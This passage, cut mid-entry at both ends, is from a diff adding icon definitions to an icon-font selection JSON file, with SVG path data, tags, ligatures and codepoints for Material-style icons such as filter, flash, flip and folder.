"id": 278, + "order": 289, + "prevSize": 24, + "code": 57442, + "name": "fiber_smart_record" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 278 + }, + { + "icon": { + "paths": [ + "M214 768h596v86h-596v-86zM810 384l-298 298-298-298h170v-256h256v256h170z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "get_app" + ], + "defaultCode": 59524, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "file_download, get_app", + "id": 279, + "order": 290, + "prevSize": 24, + "code": 59524, + "name": "get_app" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 279 + }, + { + "icon": { + "paths": [ + "M214 768h596v86h-596v-86zM384 682v-256h-170l298-298 298 298h-170v256h-256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "file_upload" + ], + "defaultCode": 58054, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "file_upload", + "id": 280, + "order": 291, + "prevSize": 24, + "code": 58054, + "name": "file_upload" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 280 + }, + { + "icon": { + "paths": [ + "M896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86zM680 440l152 200h-470l118-150 84 100z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter" + ], + "defaultCode": 58323, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter", + "id": 281, + "order": 292, + "prevSize": 24, + "code": 58323, + "name": "filter2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 281 + }, + { + "icon": { + "paths": [ + "M896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM598 640v-342h-86v-84h170v426h-84zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_1" + ], + "defaultCode": 58320, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_1", + "id": 282, + "order": 293, + "prevSize": 24, + "code": 58320, + "name": "filter_1" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 282 + }, + { + "icon": { + "paths": [ + "M726 554v86h-256v-170c0-48 38-86 84-86h86v-86h-170v-84h170c46 0 86 36 86 84v86c0 48-40 86-86 86h-86v84h172zM896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_2" + ], + "defaultCode": 58321, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_2", + "id": 283, + "order": 294, + "prevSize": 24, + "code": 58321, + "name": "filter_2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 283 + }, + { + "icon": { + "paths": [ + "M726 554c0 48-40 86-86 86h-170v-86h170v-84h-86v-86h86v-86h-170v-84h170c46 0 86 36 86 84v64c0 36-28 64-64 64 36 0 64 28 64 64v64zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86zM896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_3" + ], + "defaultCode": 58322, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_3", + "id": 284, + "order": 295, + "prevSize": 24, + "code": 58322, + "name": "filter_3" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 284 + }, + { + "icon": { + "paths": [ + "M896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM640 640v-170h-170v-256h84v170h86v-170h86v426h-86zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_4" + ], + "defaultCode": 58324, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_4", + "id": 285, + "order": 296, + "prevSize": 24, + "code": 58324, + "name": "filter_4" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 285 + }, + { + "icon": { + "paths": [ + "M726 554c0 48-40 86-86 86h-170v-86h170v-84h-170v-256h256v84h-172v86h86c46 0 86 38 86 86v84zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86zM896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_5" + ], + "defaultCode": 58325, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_5", + "id": 286, + "order": 297, + "prevSize": 24, + "code": 58325, + "name": "filter_5" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 286 + }, + { + "icon": { + "paths": [ + "M554 470v84h86v-84h-86zM554 640c-46 0-84-38-84-86v-256c0-48 38-84 84-84h172v84h-172v86h86c46 0 86 38 86 86v84c0 48-40 86-86 86h-86zM896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_6" + ], + "defaultCode": 58326, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_6", + "id": 287, + "order": 298, + "prevSize": 24, + "code": 58326, + "name": "filter_6" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 287 + }, + { + "icon": { + "paths": [ + "M554 640h-84l170-342h-170v-84h256v84zM896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_7" + ], + "defaultCode": 58327, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_7", + "id": 288, + "order": 299, + "prevSize": 24, + "code": 58327, + "name": "filter_7" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 288 + }, + { + "icon": { + "paths": [ + "M554 470v84h86v-84h-86zM554 298v86h86v-86h-86zM554 640c-46 0-84-38-84-86v-64c0-36 28-64 64-64-36 0-64-28-64-64v-64c0-48 38-84 84-84h86c46 0 86 36 86 84v64c0 36-28 64-64 64 36 0 64 28 64 64v64c0 48-40 86-86 86h-86zM896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_8" + ], + "defaultCode": 58328, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_8", + "id": 289, + "order": 300, + "prevSize": 24, + "code": 58328, + "name": "filter_8" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 289 + }, + { + "icon": { + "paths": [ + "M640 384v-86h-86v86h86zM640 214c46 0 86 36 86 84v256c0 48-40 86-86 86h-170v-86h170v-84h-86c-46 0-84-38-84-86v-86c0-48 38-84 84-84h86zM896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_9" + ], + "defaultCode": 58329, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_9", + "id": 290, + "order": 301, + "prevSize": 24, + "code": 58329, + "name": "filter_9" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 290 + }, + { + "icon": { + "paths": [ + "M896 384v-256h-598v598h598v-256h-86v84h-84v-84h-86v-86h86v-86h84v86h86zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM470 384h42v-42h-42v42zM598 512c0 48-40 86-86 86h-128v-86h128v-42h-42c-46 0-86-38-86-86v-42c0-48 40-86 86-86h42c46 0 86 38 86 86v170zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_9_plus" + ], + "defaultCode": 58330, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_9_plus", + "id": 291, + "order": 302, + "prevSize": 24, + "code": 58330, + "name": "filter_9_plus" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 291 + }, + { + "icon": { + "paths": [ + "M810 810v-596h-298v256zM810 128c46 0 86 40 86 86v596c0 46-40 86-86 86h-596c-46 0-86-40-86-86v-596c0-46 40-86 86-86h596zM512 470l-298 340h298v-340z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_b_and_w" + ], + "defaultCode": 58331, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_b_and_w", + "id": 292, + "order": 303, + "prevSize": 24, + "code": 58331, + "name": "filter_b_and_w" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 292 + }, + { + "icon": { + "paths": [ + "M512 384c70 0 128 58 128 128s-58 128-128 128-128-58-128-128 58-128 128-128zM810 810v-170h86v170c0 46-40 86-86 86h-170v-86h170zM810 128c46 0 86 40 86 86v170h-86v-170h-170v-86h170zM214 214v170h-86v-170c0-46 40-86 86-86h170v86h-170zM214 640v170h170v86h-170c-46 0-86-40-86-86v-170h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_center_focus" + ], + "defaultCode": 58332, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_center_focus", + "id": 293, + "order": 304, + "prevSize": 24, + "code": 58332, + "name": "filter_center_focus" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 293 + }, + { + "icon": { + "paths": [ + "M810 768c70 0 128-58 128-128s-58-128-128-128h-64v-22c0-130-104-234-234-234-76 0-144 36-188 94 108 30 188 130 188 248h-86c0-94-76-172-170-172s-170 78-170 172 76 170 170 170h554zM826 428c110 8 198 100 198 212 0 118-96 214-214 214h-554c-142 0-256-114-256-256 0-132 100-240 228-254 54-102 160-174 284-174 156 0 284 110 314 258z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_drama" + ], + "defaultCode": 58333, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_drama", + "id": 294, + "order": 305, + "prevSize": 24, + "code": 58333, + "name": "filter_drama" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 294 + }, + { + "icon": { + "paths": [ + "M768 342h-512v426h512zM854 854v-598h-192l-148-150-150 150h-194v598h684zM854 170c46 0 84 40 84 86v598c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-598c0-46 38-86 84-86h172l170-170 170 170h172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_frames" + ], + "defaultCode": 58334, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_frames", + "id": 295, + "order": 306, + "prevSize": 24, + "code": 58334, + "name": "filter_frames" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 295 + }, + { + "icon": { + "paths": [ + "M598 256l384 512h-940l256-342 192 256 68-50-120-162z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "terrain" + ], + "defaultCode": 58724, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_hdr, landscape, terrain", + "id": 296, + "order": 307, + "prevSize": 24, + "code": 58724, + "name": "terrain" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 296 + }, + { + "icon": { + "paths": [ + "M256 554v-84h512v84h-512zM128 256h768v86h-768v-86zM426 768v-86h172v86h-172z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_list" + ], + "defaultCode": 57682, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_list", + "id": 297, + "order": 308, + "prevSize": 24, + "code": 57682, + "name": "filter_list" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 297 + }, + { + "icon": { + "paths": [ + "M896 726v-598h-598v598h598zM896 42c46 0 86 40 86 86v598c0 46-40 84-86 84h-598c-46 0-84-38-84-84v-598c0-46 38-86 84-86h598zM128 214v682h682v86h-682c-46 0-86-40-86-86v-682h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_none" + ], + "defaultCode": 58336, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_none", + "id": 298, + "order": 309, + "prevSize": 24, + "code": 58336, + "name": "filter_none" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 298 + }, + { + "icon": { + "paths": [ + "M242 842l60-60c48 36 106 60 168 68v86c-86-8-164-42-228-94zM554 850c62-8 120-32 166-68l62 60c-64 52-142 86-228 94v-86zM782 722c36-48 60-104 68-166h86c-8 86-42 162-94 226zM640 512c0 70-58 128-128 128s-128-58-128-128 58-128 128-128 128 58 128 128zM174 554c8 62 32 120 68 166l-60 62c-52-64-86-142-94-228h86zM242 302c-36 48-60 106-68 168h-86c8-86 42-164 94-228zM850 470c-8-62-32-120-68-168l60-60c52 64 86 142 94 228h-86zM782 182l-60 60c-48-36-106-60-168-68v-86c86 8 164 42 228 94zM470 174c-62 8-120 32-168 68l-60-60c64-52 142-86 228-94v86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_tilt_shift" + ], + "defaultCode": 58338, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_tilt_shift", + "id": 299, + "order": 310, + "prevSize": 24, + "code": 58338, + "name": "filter_tilt_shift" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 299 + }, + { + "icon": { + "paths": [ + "M512 682c94 0 170-76 170-170s-76-170-170-170-170 76-170 170 76 170 170 170zM98 750c0-98.433 62.724-204.242 164-238-12-4-24-12-36-18-82-48-128-132-128-220 76-44 174-48 256 0 12 6 24 14 34 22-2-14-4-26-4-40 0-94 52-178 128-222 76 44 128 128 128 222 0 14-2 26-4 40 10-8 22-16 34-22 82-48 180-44 256 0 0 88-46 172-128 220-12 6-24 14-36 18 12 4 24 12 36 18 82 48 128 132 128 220-76 44-174 48-256 0-12-6-24-14-34-22 2 14 4 26 4 40 0 94-52 178-128 222-76-44-128-128-128-222 0-14 2-26 4-40-10 8-22 16-34 22-82 48-180 44-256 0z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "filter_vintage" + ], + "defaultCode": 58339, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "filter_vintage", + "id": 300, + "order": 311, + "prevSize": 24, + "code": 58339, + "name": "filter_vintage" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 300 + }, + { + "icon": { + "paths": [ + "M384 554c0-70 58-128 128-128s128 58 128 128-58 128-128 128-128-58-128-128zM854 836l-164-164c22-34 36-74 36-118 0-118-96-212-214-212s-214 94-214 212 96 214 214 214c44 0 84-14 118-36l188 190c-14 10-30 16-50 16h-512c-46 0-86-38-86-84l2-684c0-46 38-84 84-84h342l256 256v494z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "find_in_page" + ], + "defaultCode": 59520, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "find_in_page", + "id": 301, + "order": 312, + "prevSize": 24, + "code": 59520, + "name": "find_in_page" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 301 + }, + { + "icon": { + "paths": [ + "M710 646l206 208-62 62-208-206c-50 36-110 58-176 58-82 0-158-34-212-88l-88 88v-256h256l-108 108c38 38 94 62 152 62 104 0 188-72 208-170h86c-6 50-26 96-54 134zM470 256c-104 0-190 72-210 170h-86c20-144 146-256 296-256 82 0 156 34 210 88l88-88v256h-256l108-108c-38-38-92-62-150-62z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "find_replace" + ], + "defaultCode": 59521, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "find_replace", + "id": 302, + "order": 313, + "prevSize": 24, + "code": 59521, + "name": "find_replace" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 302 + }, + { + "icon": { + "paths": [ + "M636 938h-6c-68-18-112-44-158-90-60-60-92-138-92-222 0-70 58-126 130-126s132 56 132 126c0 46 38 82 88 82s90-36 90-82c0-160-140-292-310-292-122 0-232 68-282 172-16 34-24 76-24 120 0 34 2 86 28 154 9.157 27.471-30.939 36.654-40 14-20-56-32-110-32-168 0-52 10-98 30-138 56-120 182-198 320-198 194 0 352 152 352 336 0 70-60 124-132 124s-130-54-130-124c0-46-40-84-90-84s-88 38-88 84c0 72 28 140 80 192 40 40 80 62 140 78 12 2 16 14 14 26-2 10-12 16-20 16zM530 626c0 97.515 80.578 182 192 182 19.928 0 65.546-14.722 70 12 2 12-6 24-18 26-24 4-46 4-52 4-50 0-96-12-132-38-64-44-102-112-102-186 0-12 10-22 22-22s20 10 20 22zM416 930c-6 0-10-2-14-6-38-38-58-62-86-114-30-52-46-116-46-184 0-126 108-230 242-230s242 104 242 230c0 12-10 20-22 20s-22-8-22-20c0-104-88-188-198-188s-198 84-198 188c0 62 12 118 38 164 28 50 48 70 80 104 8 8 8 22 0 30-4 4-10 6-16 6zM150 414c-17.624 0-27.785-15.691-18-32 42-60 96-108 160-140 134-70 306-70 440 0 64 32 118 78 160 138 6 10 4 24-6 30s-24 4-30-6c-38-54-86-94-144-124-122-62-278-64-400 0-58 30-108 72-146 126-4 6-10 8-16 8zM760 190c-4 0-8 0-10-2-82-42-154-60-238-60s-166 20-238 60c-23.381 14.029-43.278-24.033-20-38 80-44 166-64 258-64 90 0 170 20 258 64 18.211 10.927 10.406 40-10 40z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fingerprint" + ], + "defaultCode": 59661, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fingerprint", + "id": 303, + "order": 314, + "prevSize": 24, + "code": 59661, + "name": "fingerprint" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 303 + }, + { + "icon": { + "paths": [ + "M256 256h86v512h-86v-512zM786 708l-60 60-256-256 256-256 60 60-196 196z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "first_page" + ], + "defaultCode": 58844, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "first_page", + "id": 304, + "order": 315, + "prevSize": 24, + "code": 58844, + "name": "first_page" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 304 + }, + { + "icon": { + "paths": [ + "M878 634l60 62-90 90 60 62-60 60-62-60-90 90-62-60-60 60-62-60 152-152-366-366-152 152-60-62 60-60-60-62 90-90-60-62 60-60 62 60 90-90 62 60 60-60 62 60-152 152 366 366 152-152 60 62z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fitness_center" + ], + "defaultCode": 60227, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "fitness_center", + "id": 305, + "order": 316, + "prevSize": 24, + "code": 60227, + "name": "fitness_center" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 305 + }, + { + "icon": { + "paths": [ + "M470 982v-256h84v256h-84zM240 724l92-92 60 60-92 92zM632 692l60-60 92 92-60 60zM512 384c70 0 128 58 128 128s-58 128-128 128-128-58-128-128 58-128 128-128zM726 470h256v84h-256v-84zM784 300l-92 92-60-60 92-92zM554 42v256h-84v-256h84zM392 332l-60 60-92-92 60-60zM298 470v84h-256v-84h256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flare" + ], + "defaultCode": 58340, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flare", + "id": 306, + "order": 317, + "prevSize": 24, + "code": 58340, + "name": "flare" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 306 + }, + { + "icon": { + "paths": [ + "M718 326h100l-50-156zM810 86l138 384h-82l-30-86h-136l-30 86h-82l138-384h84zM128 86h426l-170 384h170l-298 512v-384h-128v-512z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flash_auto" + ], + "defaultCode": 58341, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flash_auto", + "id": 307, + "order": 318, + "prevSize": 24, + "code": 58341, + "name": "flash_auto" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 307 + }, + { + "icon": { + "paths": [ + "M726 426l-66 114-362-362v-92h428l-172 340h172zM140 128l670 672-54 54-176-178-154 262v-384h-128v-158l-212-214z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flash_off" + ], + "defaultCode": 58342, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flash_off", + "id": 308, + "order": 319, + "prevSize": 24, + "code": 58342, + "name": "flash_off" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 308 + }, + { + "icon": { + "paths": [ + "M298 86h428l-172 340h172l-300 512v-384h-128v-468z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flash_on" + ], + "defaultCode": 58343, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flash_on", + "id": 309, + "order": 320, + "prevSize": 24, + "code": 58343, + "name": "flash_on" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 309 + }, + { + "icon": { + "paths": [ + "M598 616c-136.472-37.528-274.090-73.91-412-110l-68-20v-220l62 16 40 100 212 56v-352l82 22 118 384 226 60c34 10 54 46 46 80-10 34-44 52-78 44zM106 810h812v86h-812v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flight_land" + ], + "defaultCode": 59652, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flight_land", + "id": 310, + "order": 321, + "prevSize": 24, + "code": 59652, + "name": "flight_land" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 310 + }, + { + "icon": { + "paths": [ + "M942 412c8 34-12 68-46 78-137.558 36.442-275.002 72.998-412 110l-226 60-68 20c-37.52-63.813-74.693-127.974-112-192l62-16 84 64 212-56-176-306 82-22 294 274 228-60c34-10 70 12 78 46zM106 810h812v86h-812v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flight_takeoff" + ], + "defaultCode": 59653, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flight_takeoff", + "id": 311, + "order": 322, + "prevSize": 24, + "code": 59653, + "name": "flight_takeoff" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 311 + }, + { + "icon": { + "paths": [ + "M810 896v-86h86c0 46-40 86-86 86zM810 554v-84h86v84h-86zM640 214v-86h86v86h-86zM810 726v-86h86v86h-86zM470 982v-940h84v940h-84zM810 128c46 0 86 40 86 86h-86v-86zM128 214c0-46 40-86 86-86h170v86h-170v596h170v86h-170c-46 0-86-40-86-86v-596zM810 384v-86h86v86h-86zM640 896v-86h86v86h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flip" + ], + "defaultCode": 58344, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flip", + "id": 312, + "order": 323, + "prevSize": 24, + "code": 58344, + "name": "flip" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 312 + }, + { + "icon": { + "paths": [ + "M640 726v-86h86v86h-86zM640 214v-86h86v86h-86zM214 298v512h512v86h-512c-48 0-86-40-86-86v-512h86zM810 726v-86h86c0 46-40 86-86 86zM810 384v-86h86v86h-86zM810 554v-84h86v84h-86zM384 726c-48 0-86-40-86-86h86v86zM554 128v86h-84v-86h84zM810 128c46 0 86 40 86 86h-86v-86zM554 640v86h-84v-86h84zM384 128v86h-86c0-46 38-86 86-86zM384 470v84h-86v-84h86zM384 298v86h-86v-86h86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flip_to_back" + ], + "defaultCode": 59522, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flip_to_back", + "id": 313, + "order": 324, + "prevSize": 24, + "code": 59522, + "name": "flip_to_back" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 313 + }, + { + "icon": { + "paths": [ + "M298 896v-86h86v86h-86zM470 896v-86h84v86h-84zM810 640v-426h-426v426h426zM810 128c46 0 86 40 86 86v426c0 46-40 86-86 86h-426c-48 0-86-40-86-86v-426c0-46 38-86 86-86h426zM640 896v-86h86v86h-86zM128 384v-86h86v86h-86zM214 896c-48 0-86-40-86-86h86v86zM128 726v-86h86v86h-86zM128 554v-84h86v84h-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "flip_to_front" + ], + "defaultCode": 59523, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "flip_to_front", + "id": 314, + "order": 325, + "prevSize": 24, + "code": 59523, + "name": "flip_to_front" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 314 + }, + { + "icon": { + "paths": [ + "M426 170l86 86h342c46 0 84 40 84 86v426c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h256z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "folder" + ], + "defaultCode": 58055, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "folder", + "id": 315, + "order": 326, + "prevSize": 24, + "code": 58055, + "name": "folder2" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 315 + }, + { + "icon": { + "paths": [ + "M854 768v-426h-684v426h684zM854 256c46 0 84 40 84 86v426c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h256l86 86h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "folder_open" + ], + "defaultCode": 58056, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "folder_open", + "id": 316, + "order": 327, + "prevSize": 24, + "code": 58056, + "name": "folder_open" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 316 + }, + { + "icon": { + "paths": [ + "M810 726v-44c0-56-114-84-170-84s-170 28-170 84v44h340zM640 384c-46 0-86 40-86 86s40 84 86 84 86-38 86-84-40-86-86-86zM854 256c46 0 84 40 84 86v426c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h256l86 86h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "folder_shared" + ], + "defaultCode": 58057, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "folder_shared", + "id": 317, + "order": 328, + "prevSize": 24, + "code": 58057, + "name": "folder_shared" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 317 + }, + { + "icon": { + "paths": [ + "M766 726l-34-142 110-96-144-12-58-134-58 134-144 12 110 96-34 142 126-74zM854 256c46 0 84 40 84 86v426c0 46-38 86-84 86h-684c-46 0-84-40-84-86v-512c0-46 38-86 84-86h256l86 86h342z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "folder_special" + ], + "defaultCode": 58903, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "folder_special", + "id": 318, + "order": 329, + "prevSize": 24, + "code": 58903, + "name": "folder_special" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 318 + }, + { + "icon": { + "paths": [ + "M680 790h90l-218-556h-80l-218 556h90l48-128h240zM854 86c46 0 84 38 84 84v684c0 46-38 84-84 84h-684c-46 0-84-38-84-84v-684c0-46 38-84 84-84h684zM424 576l88-236 88 236h-176z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "font_download" + ], + "defaultCode": 57703, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "font_download", + "id": 319, + "order": 330, + "prevSize": 24, + "code": 57703, + "name": "font_download" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 319 + }, + { + "icon": { + "paths": [ + "M128 128h768v86h-768v-86zM298 298h428v86h-428v-86zM128 554v-84h768v84h-768zM128 896v-86h768v86h-768zM298 640h428v86h-428v-86z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "format_align_center" + ], + "defaultCode": 57908, + "grid": 24 + }, + "attrs": [], + "properties": { + "ligatures": "format_align_center", + "id": 320, + "order": 331, + "prevSize": 24, + "code": 57908, + "name": "format_align_center" + }, + "setIdx": 2, + "setId": 2, + "iconIdx": 320 + }, + { + "icon": { + "paths": [ + "M128 128h768v86h-768v-86zM128 384v-86h768v86h-768zM128 554v-84h768v84h-768zM128 726v-86h768v86h-768zM128 896v-86h768v86h-768z" + ], + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + 